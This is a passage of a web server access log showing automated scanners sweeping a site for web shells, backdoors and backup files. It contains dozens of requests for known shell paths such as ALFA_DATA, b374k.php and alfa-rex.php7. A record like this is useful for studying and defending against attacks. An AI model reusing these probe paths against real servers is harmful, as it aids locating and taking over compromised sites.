HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:41 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:42 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:42 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:43 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:43 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:44 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:44 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:45 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:45 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:46 -0400] "GET /wp-admin/css/colors/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:48 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:48 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:49 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:49 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:50 -0400] "GET /wp-content/uploads/wpr-addons/forms/RxRzhwix.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:51 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:52 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:53 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:53 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:53 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:54 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:54 -0400] "GET /wp-content/plugins2/loco-translate/tpl/debug/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:55 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:55 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:56 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:56 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:57 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:57 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:58 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:58 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:20:59 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:00 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:01 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:02 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:02 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:03 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:04 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:05 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 13.82.176.166 - - [07/Apr/2025:05:21:06 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [07/Apr/2025:06:24:19 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 216.244.66.236 - - [07/Apr/2025:07:27:32 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 82.102.18.182 - - [07/Apr/2025:08:40:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 2a02:c206:3015:63::1 - - [07/Apr/2025:09:16:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 114.96.103.33 - - [07/Apr/2025:09:17:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 86.104.74.249 - - [07/Apr/2025:09:49:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 86.104.74.249 - - [07/Apr/2025:09:49:43 -0400] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 216.244.66.236 - - [07/Apr/2025:09:54:40 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 170.106.160.90 - - [07/Apr/2025:10:41:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.236 - - [07/Apr/2025:10:56:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 45.135.232.50 - - [07/Apr/2025:11:22:00 -0400] "GET /.svn HTTP/1.1" 403 1242 "-" "python-requests/2.32.3" 216.244.66.236 - - [07/Apr/2025:11:46:17 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 93.123.109.25 - - [07/Apr/2025:11:51:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 34.44.130.189 - - [07/Apr/2025:12:00:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 103.169.35.190 - - [07/Apr/2025:12:10:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15" 172.206.122.170 - - [07/Apr/2025:12:16:05 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:09 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:13 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:17 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:22 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:27 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:30 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:36 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:41 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.206.122.170 - - [07/Apr/2025:12:16:43 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 216.244.66.236 - - [07/Apr/2025:12:36:56 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 52.226.20.63 - - [07/Apr/2025:12:53:59 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:02 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:04 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:05 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:09 -0400] "GET /GOD.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:12 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:15 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:19 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:22 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:24 -0400] "GET /files/journals/1/articles/2002/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:26 -0400] "GET /xl2023.php.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:28 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:29 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:31 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:35 -0400] "GET /old.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:37 -0400] "GET /webhook.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:41 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:44 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:46 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:49 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:51 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:53 -0400] "GET /wordpress/wp-content/plugins/erfd/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:55 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:56 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:58 -0400] "GET /wp-includes/php-compat/wp/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:54:59 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:01 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:03 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:05 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:08 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:11 -0400] "GET /wp-content/plugins/html404/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:15 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:18 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:21 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:24 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:26 -0400] "GET /rc.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:28 -0400] "GET /wp-includes/template-wploader.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:31 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:32 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:35 -0400] "GET /introduction.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:38 -0400] "GET /wp-content/plugins/oyaeyim/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:41 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:45 -0400] "GET /image.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:48 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:51 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:53 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:51:46 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:51:53 -0400] "GET /wp-includes/SimplePie/HdGGN/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:51:57 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:51:58 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:51:59 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:01 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:04 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:08 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:11 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:13 -0400] "GET /wp-content/themes/astra/inc/builder/type/header/button/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:16 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:18 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:21 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:25 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:28 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:34 -0400] "GET /wp/menu.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:38 -0400] "GET /include/lib.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:41 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:45 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:49 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:52 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:52:58 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:05 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:14 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:22 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:30 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:35 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:43 -0400] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:51 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:53:56 -0400] "GET /cron_job.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:55 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:57 -0400] "GET /wp-content/plugins/zupqfup/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:55:59 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:00 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:02 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:06 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:07 -0400] "GET /optimizer.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:10 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:13 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:17 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:19 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:22 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:24 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:29 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:33 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:36 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:39 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:41 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:42 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:46 -0400] "GET /wp-admin/uploads/init HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:47 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:51 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:53 -0400] "GET /wp-content/uploads/9_abc.phtml.jpg HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:55 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:56:58 -0400] "GET /wp-content/plugins/jvtsrel/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:00 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:03 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:05 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:08 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:11 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:15 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:19 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:21 -0400] "GET /wp-content/plugins/gvkyvhp/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:26 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:28 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:31 -0400] "GET /wp-includes/js/install.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:34 -0400] "GET /wp-content/plugins/ljqhmhj/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:37 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:41 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:47 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:52 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:56 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:57:59 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:02 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:05 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:09 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:13 -0400] "GET /wp-includes/customize/upfile.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:17 -0400] "GET /register.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:19 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:22 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:25 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:28 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:30 -0400] "GET /wp-includes/Cez57/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:32 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:33 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:35 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:38 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:41 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:43 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:47 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:12:58:51 